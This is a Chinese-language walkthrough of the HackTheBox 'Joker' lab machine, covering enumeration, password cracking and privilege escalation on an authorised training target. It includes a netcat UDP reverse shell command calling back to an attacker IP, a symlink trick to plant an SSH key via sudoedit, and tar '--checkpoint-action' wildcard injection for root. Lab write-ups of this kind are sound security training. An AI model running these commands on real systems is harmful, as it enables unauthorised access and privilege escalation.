No.102-HackTheBox-Linux-Joker-Walkthrough渗透学习

**

HackTheBox-Linux-Joker-Walkthrough

**

靶机地址：https://www.hackthebox.eu/home/machines/profile/20
靶机难度：中级（4.0/10）
靶机发布日期：2017年10月17日
靶机描述：
Joker can be a very tough machine for some as it does not give many hints related to the correct path, although the name does suggest a relation to wildcards. It focuses on many different topics and provides an excellent learning experience.

作者：大余
时间：2020-09-03

请注意：对于所有这些计算机，我是通过平台授权允许情况进行渗透的。我将使用Kali Linux作为解决该HTB的攻击者机器。这里使用的技术仅用于学习教育目的，如果列出的技术用于其他任何目标，我概不负责。

一、信息收集

可以看到靶机的IP是10.10.10.21…

nmap扫描发现了22和3128代理端口…这需要填写代理信息…进一步枚举

nmap扫描了UDP端口，开放了TFTP…

枚举TFTP发现了password哈希信息…

这里利用john爆破获得用户名密码…

通过插件填写代理用户名密码以及3128端口…

访问靶机IP，是个报错页面…

访问127.0.0.1发现是URL？利用sqlmap枚举了一会，没利用信息…

这里利用dirb和nikto发现了console页面…

访问后这是一个python开发人员使用的控制台…
Python反向Shell开始编写代码…其中测试了ping命令icmp是回包的…
但是直接输入shellcode没回应…
检查了防火墙发现：

首先将“入站”设置为默认值DROP，将出站和转发设置为默认值ACCEPT…
允许TCP 22入站，允许TCP 3128入站，允许所有UDP入站，允许所有ICMP入站，允许所有本地主机入站，所有新的出站TCP连接均被删除…没有允许出站tcp连接…
这里TCP的shell无法执行的情况，只能利用UDP的shell方法了…

命令：os.popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -u 10.10.14.6 6666 >/tmp/f").read()
这里方法很多，利用pentest monkey reverse shell中的shell提权即可…都可以利用…可看到获得了反向外壳…
这里经过测试很多都不是很稳定…自己慢慢测试吧…

sudo -l发现可利用sudoedit…搜索看

37710.txt：
在链接的漏洞利用程序中，如果两次使用通配符，则sudoedit不会检查完整路径，他们创建了一个指向的符号连接/etc/shadow，为我们执行此操作实际上对我们而言是行不通的，因为仅具有alekos而不是root的sudoedit权限，因此可以做的是创建一个指向alekos ssh授权密钥文件的符号链接，然后编辑该文件以添加到我们的公共ssh密钥中…开始

在目录下创建新的文件夹dayu，然后ln -s /home/alekos/.ssh/authorized_keys layout.html进行连接…

最后可以利用ssh-key生成ssh密匙，我这里使用的是kali本身root自带的密匙…

将密匙码复制入layout.html中即可…
这里还是挺坑的，很不稳定的shell外壳…

成功利用好，登录了ssh的alekos用户界面内…获得了user_flag信息…

枚举了一会发现了目的底层存在backup和development文件夹…进入发现了问题…
backup文件夹内每隔几分钟会自动生成一个tar压缩文件…
我随意解压了任意一个压缩包，发现里面的信息和development文件夹内容一样…
意思就是每隔五分钟tar压缩包会在development目录上运行一次…

命令：

touch -- --checkpoint=1
touch -- '--checkpoint-action=exec=python shell.py'
chmod +x shell.py

这里进入backup目录并使用它touch来创建两个文件，一个是–checkpoint=1。这将对添加到归档中的第一条记录触发检查点进行操作…
第二个是–checkpoint-action=exec=python shell.py，意思就是告诉它在到达检查点时tar压缩包来运行shell.py的shellcode…
该shell.py很简答的shell，等待了几分钟，获得了root的反向外壳…
并获得了root_flag信息…非常好！！

这台靶机是通关后补的，因为在python开发页面哪里提的shell外壳非常非常不稳定…当初刚打到这台靶机的时候，一直没过卡着，也是通关完HTB后回头补了这台…回头打的时候感觉好简单啊…
这里建议多测试下提权的shellcode，多测试几个有些是稳定的…

加油！！

由于我们已经成功得到root权限查看user和root.txt，因此完成这台中级的靶机，希望你们喜欢这台机器，请继续关注大余后期会有更多具有挑战性的机器，一起练习学习。

如果你有其他的方法，欢迎留言。要是有写错了的地方，请你一定要告诉我。要是你觉得这篇博客写的还不错，欢迎分享给身边的人。